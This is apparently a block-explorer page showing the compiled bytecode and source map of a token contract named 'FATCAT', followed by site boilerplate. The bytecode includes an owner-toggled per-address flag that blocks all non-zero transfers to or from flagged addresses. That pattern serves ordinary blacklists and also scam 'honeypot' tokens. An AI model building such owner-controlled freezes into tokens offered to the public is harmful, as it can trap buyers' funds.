fff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6040518060400160405280600681526020017f464154434154000000000000000000000000000000000000000000000000000081525081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610fe957506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611040576000821461103f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561107a57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156110c657600080fd5b61111882600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164b90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111ad82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006112f082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461153c57600080fd5b600115156000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156115f05760008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611648565b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60008282111561165757fe5b818303905092915050565b600081830190508281101561167357fe5b8090509291505056fea265627a7a723158207ce6a3658c0ae04b68b01a006a72afa6f340173934bdca1e9a2b7cfb5602947964736f6c634300050f0032

Deployed Bytecode Sourcemap

5571:468:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;5571:468:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5612:39;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;5612:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4125:192;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4125:192:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;1949:108;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3532:587;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3532:587:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;5787:34;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4644:440;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4644:440:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;5701:81;;;:::i;:::-;;;;;;;;;;;;;;;;;;;2063:129;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;2063:129:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5090:166;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;5090:166:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;5656:40;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;5656:40:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2198:457;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;2198:457:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;5262:302;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;5262:302:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;3365:161;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3365:161:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4323:313;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4323:313:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;5612:39;;;;;;;;;;;;;;;;;;;:::o;4125:192::-;4192:4;4237:6;4205:7;:19;4213:10;4205:19;;;;;;;;;;;;;;;:29;4225:8;4205:29;;;;;;;;;;;;;;;:38;;;;4276:8;4255:38;;4264:10;4255:38;;;4286:6;4255:38;;;;;;;;;;;;;;;;;;4307:4;4300:11;;4125:192;;;;:::o;1949:108::-;2013:7;2039:12;;2032:19;;1949:108;:::o;3532:587::-;3644:4;3661:19;:26;3681:5;3661:26;;;;;;;;;;;;;;;;;;;;;;;;;:59;;;;3696:19;:24;3716:3;3696:24;;;;;;;;;;;;;;;;;;;;;;;;;3661:59;3652:100;;;3746:1;3736:6;:11;3722:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3652:100;3783:1;3768:17;;:3;:17;;;;3754:32;;;;;;3812:8;:15;3821:5;3812:15;;;;;;;;;;;;;;;;3802:6;:25;;3788:40;;;;;;3854:7;:14;3862:5;3854:14;;;;;;;;;;;;;;;:26;3869:10;3854:26;;;;;;;;;;;;;;;;3844:6;:36;;3830:51;;;;;;3906:27;3926:6;3906:8;:15;3915:5;3906:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;3888:8;:15;3897:5;3888:15;;;;;;;;;;;;;;;:45;;;;3956:25;3974:6;3956:8;:13;3965:3;3956:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;3940:8;:13;3949:3;3940:13;;;;;;;;;;;;;;;:41;;;;4017:38;4048:6;4017:7;:14;4025:5;4017:14;;;;;;;;;;;;;;;:26;4032:10;4017:26;;;;;;;;;;;;;;;;:30;;:38;;;;:::i;:::-;3988:7;:14;3996:5;3988:14;;;;;;;;;;;;;;;:26;4003:10;3988:26;;;;;;;;;;;;;;;:67;;;;4083:3;4067:28;;4076:5;4067:28;;;4088:6;4067:28;;;;;;;;;;;;;;;;;;4109:4;4102:11;;3532:587;;;;;:::o;5787:34::-;5820:1;5787:34;:::o;4644:440::-;4752:4;4768:13;4784:7;:19;4792:10;4784:19;;;;;;;;;;;;;;;:29;4804:8;4784:29;;;;;;;;;;;;;;;;4768:45;;4843:8;4824:16;:27;4820:168;;;4894:1;4862:7;:19;4870:10;4862:19;;;;;;;;;;;;;;;:29;4882:8;4862:29;;;;;;;;;;;;;;;:33;;;;4820:168;;;4950:30;4963:16;4950:8;:12;;:30;;;;:::i;:::-;4918:7;:19;4926:10;4918:19;;;;;;;;;;;;;;;:29;4938:8;4918:29;;;;;;;;;;;;;;;:62;;;;4820:168;5020:8;4999:61;;5008:10;4999:61;;;5030:7;:19;5038:10;5030:19;;;;;;;;;;;;;;;:29;5050:8;5030:29;;;;;;;;;;;;;;;;4999:61;;;;;;;;;;;;;;;;;;5074:4;5067:11;;;4644:440;;;;:::o;5701:81::-;5820:1;5764:17;;5758:2;:23;5741:13;:41;5701:81;:::o;2063:129::-;2146:7;2169:8;:17;2178:7;2169:17;;;;;;;;;;;;;;;;2162:24;;2063:129;;;:::o;5090:166::-;5183:4;5207:19;:43;5233:16;5207:43;;;;;;;;;;;;;;;;;;;;;;;;;5200:50;;5090:166;;;:::o;5656:40::-;;;;;;;;;;;;;;;;;;;:::o;2198:457::-;2281:4;2299:19;:31;2319:10;2299:31;;;;;;;;;;;;;;;;;;;;;;;;;:64;;;;2339:19;:24;2359:3;2339:24;;;;;;;;;;;;;;;;;;;;;;;;;2299:64;2289:106;;;2389:1;2379:6;:11;2365:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2289:106;2426:1;2411:17;;:3;:17;;;;2397:32;;;;;;2455:8;:20;2464:10;2455:20;;;;;;;;;;;;;;;;2445:6;:30;;2431:45;;;;;;2506:32;2531:6;2506:8;:20;2515:10;2506:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;2483:8;:20;2492:10;2483:20;;;;;;;;;;;;;;;:55;;;;2561:25;2579:6;2561:8;:13;2570:3;2561:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;2545:8;:13;2554:3;2545:13;;;;;;;;;;;;;;;:41;;;;2619:3;2598:33;;2607:10;2598:33;;;2624:6;2598:33;;;;;;;;;;;;;;;;;;2645:4;2638:11;;2198:457;;;;:::o;5262:302::-;5365:4;5420:46;5454:11;5420:7;:19;5428:10;5420:19;;;;;;;;;;;;;;;:29;5440:8;5420:29;;;;;;;;;;;;;;;;:33;;:46;;;;:::i;:::-;5381:7;:19;5389:10;5381:19;;;;;;;;;;;;;;;:29;5401:8;5381:29;;;;;;;;;;;;;;;:86;;;;5500:8;5479:61;;5488:10;5479:61;;;5510:7;:19;5518:10;5510:19;;;;;;;;;;;;;;;:29;5530:8;5510:29;;;;;;;;;;;;;;;;5479:61;;;;;;;;;;;;;;;;;;5554:4;5547:11;;5262:302;;;;:::o;3365:161::-;3469:7;3495;:15;3503:6;3495:15;;;;;;;;;;;;;;;:25;3511:8;3495:25;;;;;;;;;;;;;;;;3488:32;;3365:161;;;;:::o;4323:313::-;4426:8;;;;;;;;;;;4407:27;;:10;:27;;;4393:42;;;;;;4494:4;4447:51;;:19;:43;4473:16;4447:43;;;;;;;;;;;;;;;;;;;;;;;;;:51;;;4437:194;;;4552:5;4506:19;:43;4532:16;4506:43;;;;;;;;;;;;;;;;:51;;;;;;;;;;;;;;;;;;4437:194;;;4619:4;4573:19;:43;4599:16;4573:43;;;;;;;;;;;;;;;;:50;;;;;;;;;;;;;;;;;;4437:194;4323:313;:::o;1084:147::-;1173:7;1204:1;1199;:6;;1192:14;;;;1224:1;1220;:5;1213:12;;1084:147;;;;:::o;1587:155::-;1670:9;1699:1;1695;:5;1691:9;;1719:1;1714;:6;;1707:14;;;;1735:1;1728:8;;1587:155;;;;:::o

Swarm Source

bzzr://7ce6a3658c0ae04b68b01a006a72afa6f340173934bdca1e9a2b7cfb56029479

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.